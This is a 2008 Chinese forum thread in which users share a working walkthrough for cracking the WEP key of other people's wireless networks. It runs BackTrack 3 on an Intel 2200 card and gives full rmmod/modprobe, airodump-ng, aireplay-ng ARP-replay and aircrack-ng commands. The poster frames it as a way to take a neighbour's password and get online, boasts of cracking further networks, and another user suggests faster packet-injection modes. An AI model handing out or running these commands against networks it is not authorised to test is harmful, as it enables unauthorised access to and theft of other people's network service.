BT3 完美支持ITNTEL

黄帝 · 发表于 2008-2-5 11:39:39

刚在BT3下用2200破解了一个wep加密了的无线网络，写一下具体的方法，我想2200的卡还是非常普及的，有兴趣的可以试试看。
完整的命令如下
rmmod ipw2200
modprobe ipw2200 rtap
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
fconfig eth1
airodump-ng --channel <Access Point channel> --bssid <AP MAC> -w dumpfile rtap0
这时你观察station下面是不是有对方的机器，如果客户端有在上网，那么station下面就会有对方的MAC,记下来。
5、打开新的窗口，输入
aireplay-ng --arpreplay -b <AP MAC> -h <客户机的 MAC> -x 1024 eth1
此时如果对方有客户端在上网，那么DATA的数据会增加，我刚才的情况是有客户端，但是RXQ信号很弱，差不多只有13左右，10分钟才增加了300个date，不过10分钟后RXQ超过50，接着DATA极速增加，此时在第5步打开的窗口中，ARP得到的数据也会同时增加。
6、当DATA超过100000后，打开新的窗口，输入
aircrack-ng -x -b <AP MAC> dumpfile*.cap
然后就大功告成，抄下密码，上网去吧，嘿嘿。
上面就是BT3光盘启动下，最简单的破解有客户端WEP的全部过程，如果信号好的话，估计也就10来分钟搞定。
Ps：上面命令中的< >是不需要的.

nobestname · 发表于 2008-2-5 13:48:11

我的帖子那么详细怎么没有人告诉我成功过,郁闷,删除拉到.

黄帝 · 发表于 2008-2-5 16:00:51

具体原里可参考这里.
http://tinyshell.be/aircrackng/forum/index.php?topic=1775.0
是英文哦

黄帝 · 发表于 2008-2-5 16:03:46

不过吗.能不能破的出密吗.就看你的运气.我试了我几个无线网,有的可以破的出来.有的破不出.

黄帝 · 发表于 2008-2-5 16:07:50

输入
airodump-ng --channel <Access Point channel> --bssid <AP MAC> -w dumpfile rtap0

这时你观察station下面是不是有对方的机器，如果客户端有在上网，那么station下面就会有对方的MAC,记下来.

此时如果对方有客户端在上网，那么DATA的数据会增加，我刚才的情况是有客户端，但是RXQ信号很弱，差不多只有13左右，10分钟才增加了300个date，不过10分钟后RXQ超过50，接着DATA极速增加，此时在第5步打开的窗口中，ARP得到的数据也会同时增加。

当DATA超过100000后，打开新的窗口，输入
aircrack-ng -z -b <AP MAC> dumpfile*.cap
然后就大功告成，抄下密码，上网去吧，嘿嘿。
上面就是BT3光盘启动下，最简单的破解有客户端WEP的全部过程，如果信号好的话，估计也就10来分钟搞定。

黄帝 · 发表于 2008-2-5 16:13:19

已经很详细了.再写成了教科书

黄帝 · 发表于 2008-2-5 23:33:01

刚刚又破了一个无线密码,楼上.暂时没有贴图.4楼有网址可以去看看.
是洋文哦

nobestname · 发表于 2008-2-6 12:15:37

原来你买过我的帖子啊，学成了也不去顶顶

黄帝 · 发表于 2008-2-6 17:45:28

LS.我不是用你教的方法,我的笔记本电脑是ACER牌,INTEL PRO/WIRELESS 2200BG NETWORK..
你的方法不支持这种网卡

nobestname · 发表于 2008-2-6 18:52:37

你用的aireplay-ng -3 吧？
那个太慢了，要用aireplay-ng -4/-5,然后生成arp注入包用arp -2 才叫快呢。

可惜你的网卡不支持injection.

		自动登录	找回密码
密码			立即注册

BT3 完美支持ITNTEL

评分